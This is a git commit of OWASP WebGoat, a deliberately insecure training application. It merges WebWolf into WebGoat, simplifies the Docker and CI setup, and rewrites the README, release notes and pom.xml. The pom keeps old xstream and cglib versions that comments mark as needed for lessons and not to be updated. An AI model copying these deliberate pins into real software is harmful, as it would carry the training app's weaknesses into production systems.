Refactoring (#1201)

* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
This commit is contained in:
Nanne Baars 2022-04-09 14:56:12 +02:00 committed by GitHub
parent f3d8206a07
commit 711649924b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1130 changed files with 3540 additions and 7643 deletions

3
.dockerignore Normal file
View File

@ -0,0 +1,3 @@
**
!/target

View File

@ -12,5 +12,4 @@ ij_continuation_indent_size = 8
ij_formatter_off_tag = @formatter:off
ij_formatter_on_tag = @formatter:on
ij_formatter_tags_enabled = false
ij_wrap_on_typing = true
ij_java_names_count_to_use_import_on_demand = 999

View File

@ -1,57 +0,0 @@
name: "Branch build"
on:
push:
branches-ignore:
- main
- develop
- release/*
permissions:
contents: read
jobs:
install-notest:
if: "github.repository != 'WebGoat/WebGoat'"
runs-on: ubuntu-latest
name: "Package and linting"
steps:
- uses: actions/checkout@v3
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2
- name: Test with Maven
run: mvn --no-transfer-progress install -DskipTests
testing:
if: "github.repository != 'WebGoat/WebGoat'"
needs: install-notest
runs-on: ubuntu-latest
strategy:
matrix:
args:
- mvn --no-transfer-progress -pl '!webgoat-integration-tests' test
- mvn --no-transfer-progress -pl webgoat-integration-tests test
steps:
- uses: actions/checkout@v3
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2
- name: Test with Maven
run: ${{ matrix.args }}

72
.github/workflows/build.yml vendored Normal file
View File

@ -0,0 +1,72 @@
name: "Build"
on:
pull_request:
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
push:
branches:
- main
- develop
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
pr-build:
if: >
github.event_name == 'pull_request' && !github.event.pull_request.draft && (
github.event.action == 'opened' ||
github.event.action == 'reopened' ||
github.event.action == 'synchronize'
)
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
steps:
- uses: actions/checkout@v2
- name: Set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress package
build:
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
runs-on: ubuntu-latest
name: "Branch build"
steps:
- uses: actions/checkout@v2
- name: set up JDK 17
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- name: Test with Maven
run: mvn --no-transfer-progress verify

View File

@ -1,48 +0,0 @@
name: "Pull request build"
on:
pull_request:
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
push:
branches:
- main
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
permissions:
contents: read
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
java: [17]
steps:
- uses: actions/checkout@v3
- name: Set up JDK ${{ matrix.java }}
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: ${{ matrix.java }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
- name: Build with Maven
run: mvn --no-transfer-progress package

View File

@ -46,8 +46,7 @@ jobs:
with:
draft: false
files: |
webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: |
## Version ${{ steps.tag.outputs.tag }}
@ -91,13 +90,13 @@ jobs:
- name: "Build and push"
uses: docker/build-push-action@v2.10.0
with:
context: ./docker
file: docker/Dockerfile
context: ./
file: ./Dockerfile
push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7
tags: |
webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/goatandwolf:latest
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
@ -118,10 +117,10 @@ jobs:
ref: develop
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
- name: Set up JDK 15
- name: Set up JDK 17
uses: actions/setup-java@v2
with:
java-version: 15
java-version: 17
architecture: x64
- name: Set version to next snapshot

32
Dockerfile Normal file
View File

@ -0,0 +1,32 @@
FROM docker.io/eclipse-temurin:17-jdk-focal
RUN useradd -ms /bin/bash webgoat
RUN chgrp -R 0 /home/webgoat
RUN chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080
EXPOSE 9090
WORKDIR /home/webgoat
ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \
"-Dfile.encoding=UTF-8", \
"--add-opens", "java.base/java.lang=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
"--add-opens", "java.base/java.text=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"-Drunning.in.docker=true", \
"-Dwebgoat.host=0.0.0.0", \
"-Dwebwolf.host=0.0.0.0", \
"-Dwebgoat.port=8080", \
"-Dwebwolf.port=9090", \
"-jar", "webgoat.jar" ]

View File

@ -33,21 +33,15 @@ For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/goatandwolf).
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
```shell
docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
```
The landing page will be located at: http://localhost
WebGoat will be located at: http://localhost:8080/WebGoat
WebWolf will be located at: http://localhost:9090/WebWolf
**Important**: *Change the ports if necessary, for example use `127.0.0.1:7777:9090` to map WebWolf to `http://localhost:7777/WebGoat`*
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
@ -56,12 +50,10 @@ WebWolf will be located at: http://localhost:9090/WebWolf
Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell
java -Dfile.encoding=UTF-8 -Dserver.port=8080 -Dserver.address=localhost -Dhsqldb.port=9001 -jar webgoat-server-8.2.2.jar
java -Dfile.encoding=UTF-8 -Dserver.port=9090 -Dserver.address=localhost -jar webwolf-8.2.2.jar
java -Dfile.encoding=UTF-8 -jar webgoat-8.2.3.jar
```
WebGoat will be located at: http://localhost:8080/WebGoat and
WebWolf will be located at: http://localhost:9090/WebWolf (change ports if necessary)
Click the link in the log to start WebGoat.
## 3. Run from the sources
@ -84,17 +76,21 @@ cd WebGoat
git checkout <<branch_name>>
# On Linux/Mac:
./mvnw clean install
# On Windows:
./mvnw.cmd clean install
# Using docker or podman, you can than build the container locally
docker build -f Dockerfile . -t webgoat/webgoat
```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
```Shell
# On Linux/Mac:
./mvnw -pl webgoat-server spring-boot:run
# On Widows:
./mvnw.cmd -pl webgoat-server spring-boot:run
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run
```
... you should be running WebGoat on localhost:8080/WebGoat momentarily
@ -114,9 +110,9 @@ For instance running as a jar on a Linux/macOS it will look like this:
```Shell
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar webgoat-server/target/webgoat-server-v8.2.2-SNAPSHOT.jar
```
java -jar target/webgoat-8.2.3-SNAPSHOT.jar
Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell
docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
```

View File

@ -4,7 +4,21 @@
### New functionality
- Update the Docker startup script, it is now possible to pass `skip-nginx` or set `SKIP_NGINX` as environment variable.
- New year's resolution: major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup:
- This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course)
- No longer add Maven dependencies in several places
- H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
## Version 8.2.2

File diff suppressed because it is too large Load Diff

View File

@ -1,22 +0,0 @@
FROM eclipse-temurin:17_35-jdk-focal
RUN apt-get update
RUN useradd -ms /bin/bash webgoat
RUN apt-get -y install apt-utils nginx
RUN chgrp -R 0 /home/webgoat
RUN chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf
COPY --chown=webgoat index.html /usr/share/nginx/html/
COPY --chown=webgoat target/webgoat-server-*.jar /home/webgoat/webgoat.jar
COPY --chown=webgoat target/webwolf-*.jar /home/webgoat/webwolf.jar
COPY --chown=webgoat start.sh /home/webgoat
RUN chmod +x /home/webgoat/start.sh
EXPOSE 8080
EXPOSE 9090
WORKDIR /home/webgoat
ENTRYPOINT ["./start.sh"]

View File

@ -1,13 +0,0 @@
# Docker all-in-one image
## Docker build
```shell
docker build --no-cache --build-arg webgoat_version=8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
```
## Docker run
```shell
docker run -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest
```

View File

@ -1,70 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.p1 {
font-family: Arial, Helvetica, sans-serif;
}
.webgoat {
float: left;
margin-right: 250px;
text-align: center;
}
.webwolf {
float: left;
width: 40%;
height: 40%;
text-align: center;
}
#images {
display: flex;
align-items: center;
justify-content: center;
}
body {
text-align: center;
}
</style>
</head>
<body>
<h1>
<center>
Landing page for WebGoat and WebWolf
</center>
</h1>
<blockquote class="p1">
WebGoat is a deliberately insecure web application maintained by <a href="http://www.owasp.org/">OWASP</a> designed
to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
</blockquote>
<br/>
<p class="p1">Click on one of the images to go to WebGoat or WebWolf</p>
<br/>
<br/>
<div id="images">
<a href="http://127.0.0.1:8080/WebGoat" title="Open WebGoat" target="_blank"><img class="webgoat"
src="http://127.0.0.1:8080/WebGoat/css/img/logoBG.jpg"></a>
<a href="http://127.0.0.1:9090/WebWolf" title="Open WebWolf" target="_blank"><img class="webwolf"
src="http://127.0.0.1:9090/images/wolf.png"></a>
</div>
</body>
</html>

View File

@ -1,140 +0,0 @@
error_log /tmp/error.log;
pid /tmp/nginx.pid;
worker_processes 1;
events { worker_connections 1024; }
http {
client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
sendfile on;
upstream docker-webgoat {
server 127.0.0.1:8080;
}
upstream docker-webwolf {
server 127.0.0.1:9090;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $server_name;
server {
listen 8888;
server_name www.webgoat.local;
root /var/www;
access_log /tmp/goataccess.log;
error_log /tmp/goaterror.log;
location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
access_log off;
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
location / {
root /usr/share/nginx/html;
index index.html;
add_header Cache-Control no-cache;
expires 0;
}
location /WebGoat {
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
}
server {
listen 8888;
server_name www.webwolf.local;
root /var/www;
access_log /tmp/wolfaccess.log;
error_log /tmp/wolferror.log;
location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
location /PasswordReset/reset/reset-password {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /files {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /tmpdir {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /webjars {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /css {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /login {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /images {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /mail {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /upload {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /js {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /landing {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /logout {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /WebWolf {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
}
}

View File

@ -1,40 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webgoat-all-in-one-docker</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.2.3-SNAPSHOT</version>
</parent>
<dependencies>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-antrun-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<phase>install</phase>
<configuration>
<target>
<copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="target/webgoat-server-${project.version}.jar"/>
<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="target/webwolf-${project.version}.jar"/>
</target>
</configuration>
<goals>
<goal>run</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

View File

@ -1,5 +1,5 @@
# WebGoat landing page
Old Github page which now redirects to OWASP website.
Old GitHub page which now redirects to OWASP website.

View File

@ -1,2 +1,2 @@
export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
mvn $@
./mvnw $@

634
pom.xml
View File

@ -4,33 +4,30 @@
<modelVersion>4.0.0</modelVersion>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging>
<artifactId>webgoat</artifactId>
<packaging>jar</packaging>
<version>8.2.3-SNAPSHOT</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.1</version>
<version>2.6.2</version>
</parent>
<name>WebGoat Parent Pom</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
<name>WebGoat</name>
<description>WebGoat, a deliberately insecure Web Application</description>
<inceptionYear>2006</inceptionYear>
<url>https://github.com/WebGoat/WebGoat</url>
<organization>
<name>OWASP</name>
<url>https://github.com/WebGoat/WebGoat/</url>
</organization>
<licenses>
<license>
<name>GNU General Public License, version 2</name>
<url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
</license>
</licenses>
<developers>
<developer>
<id>mayhew64</id>
@ -117,150 +114,227 @@
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<java.version>17</java.version>
<webgoat.port>8080</webgoat.port>
<webwolf.port>9090</webwolf.port>
<!-- Shared properties with plugins and version numbers across submodules-->
<ant.version>1.6.5</ant.version>
<asciidoctorj.version>2.5.2</asciidoctorj.version>
<bootstrap.version>3.3.7</bootstrap.version>
<cglib.version>2.2</cglib.version> <!-- do not update necessary for lesson -->
<checkstyle.version>3.1.2</checkstyle.version>
<commons-collections.version>3.2.1</commons-collections.version>
<commons-lang3.version>3.12.0</commons-lang3.version>
<commons-io.version>2.6</commons-io.version>
<commons-text.version>1.9</commons-text.version>
<guava.version>30.1-jre</guava.version>
<wiremock.version>2.27.2</wiremock.version>
<jjwt.version>0.9.1</jjwt.version>
<jose4j.version>0.7.6</jose4j.version>
<jsoup.version>1.14.3</jsoup.version>
<jquery.version>3.5.1</jquery.version>
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
<maven-source-plugin.version>3.1.0</maven-source-plugin.version>
<maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
<java.version>17</java.version>
<thymeleaf.version>3.0.14.RELEASE</thymeleaf.version>
<pmd.version>3.15.0</pmd.version>
<checkstyle.version>3.1.2</checkstyle.version>
<thymeleaf.version>3.0.14.RELEASE</thymeleaf.version>
<webdriver.version>4.3.1</webdriver.version>
<wiremock.version>2.27.2</wiremock.version>
<xml-resolver.version>1.2</xml-resolver.version>
<xstream.version>1.4.5</xstream.version> <!-- do not update necessary for lesson -->
<zxcvbn.version>1.5.2</zxcvbn.version>
</properties>
<modules>
<module>webgoat-container</module>
<module>webgoat-lessons</module>
<module>webgoat-server</module>
<module>webwolf</module>
<module>webgoat-integration-tests</module>
<module>docker</module><!-- copy required jars in preparation of docker all-in-one build -->
</modules>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<scope>provided</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>flatten-maven-plugin</artifactId>
<version>1.2.5</version>
<configuration>
</configuration>
<executions>
<execution>
<id>flatten</id>
<phase>process-resources</phase>
<goals>
<goal>flatten</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>15</source>
<target>15</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId>
<version>${checkstyle.version}</version>
<configuration>
<encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput>
<failsOnError>true</failsOnError>
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-pmd-plugin</artifactId>
<version>${pmd.version}</version>
<configuration>
<targetJdk>${maven.compiler.target}</targetJdk>
<failurePriority>1
</failurePriority><!-- 5 means fail even on the lowest priority, 0 means never fail -->
<rulesets>
<!--suppress UnresolvedMavenProperty -->
<ruleset>${maven.multiModuleProjectDirectory}/config/pmd/pmd-ruleset.xml</ruleset>
</rulesets>
<failOnViolation>true</failOnViolation>
<printFailingErrors>true</printFailingErrors>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<id>restrict-log4j-versions</id>
<phase>validate</phase>
<goals>
<goal>enforce</goal>
</goals>
<configuration>
<rules>
<bannedDependencies>
<excludes combine.children="append">
<exclude>org.apache.logging.log4j:log4j-core</exclude>
</excludes>
</bannedDependencies>
</rules>
<fail>true</fail>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
<version>${asciidoctorj.version}</version>
</dependency>
<dependency>
<!-- jsoup HTML parser library @ https://jsoup.org/ -->
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>${jsoup.version}</version>
</dependency>
<dependency>
<groupId>com.nulab-inc</groupId>
<artifactId>zxcvbn</artifactId>
<version>${zxcvbn.version}</version>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>${xstream.version}</version>
</dependency>
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib-nodep</artifactId>
<version>${cglib.version}</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant-launcher</artifactId>
<version>${ant.version}</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
<version>${ant.version}</version>
</dependency>
<dependency>
<groupId>xml-resolver</groupId>
<artifactId>xml-resolver</artifactId>
<version>${xml-resolver.version}</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>${jjwt.version}</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>${guava.version}</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>${commons-io.version}</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>${commons-text.version}</version>
</dependency>
<dependency>
<groupId>org.bitbucket.b_c</groupId>
<artifactId>jose4j</artifactId>
<version>${jose4j.version}</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>${bootstrap.version}</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
<version>${jquery.version}</version>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<version>${wiremock.version}</version>
</dependency>
<dependency>
<groupId>io.github.bonigarcia</groupId>
<artifactId>webdrivermanager</artifactId>
<version>${webdriver.version}</version>
</dependency>
</dependencies>
</dependencyManagement>
<profiles>
<profile>
<id>local-server</id>
</profile>
<profile>
<id>start-server</id>
<activation>
<activeByDefault>true</activeByDefault>
</activation>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>build-helper-maven-plugin</artifactId>
<executions>
<execution>
<id>reserve-container-port</id>
<goals>
<goal>reserve-network-port</goal>
</goals>
<phase>process-resources</phase>
<configuration>
<portNames>
<portName>webgoat.port</portName>
<portName>webwolf.port</portName>
<portName>jmxPort</portName>
</portNames>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>com.bazaarvoice.maven.plugins</groupId>
<artifactId>process-exec-maven-plugin</artifactId>
<version>0.9</version>
<executions>
<execution>
<id>start-jar</id>
<phase>pre-integration-test</phase>
<goals>
<goal>start</goal>
</goals>
<configuration>
<workingDir></workingDir>
<arguments>
<argument>java</argument>
<argument>-jar</argument>
<argument>-Dlogging.pattern.console=</argument>
<argument>-Dspring.main.banner-mode=off</argument>
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat
</argument>
<argument>-Dwebgoat.port=${webgoat.port}</argument>
<argument>-Dwebwolf.port=${webwolf.port}</argument>
<argument>--add-opens</argument>
<argument>java.base/java.lang=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.util=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.text=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.beans=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.util=ALL-UNNAMED</argument>
<argument>
${project.build.directory}/webgoat-${project.version}.jar
</argument>
</arguments>
<waitForInterrupt>false</waitForInterrupt>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
</configuration>
</execution>
<execution>
<id>stop-jar-process</id>
<phase>post-integration-test</phase>
<goals>
<goal>stop-all</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
<profile>
<id>owasp</id>
<activation>
@ -296,6 +370,297 @@
</profile>
</profiles>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<scope>provided</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
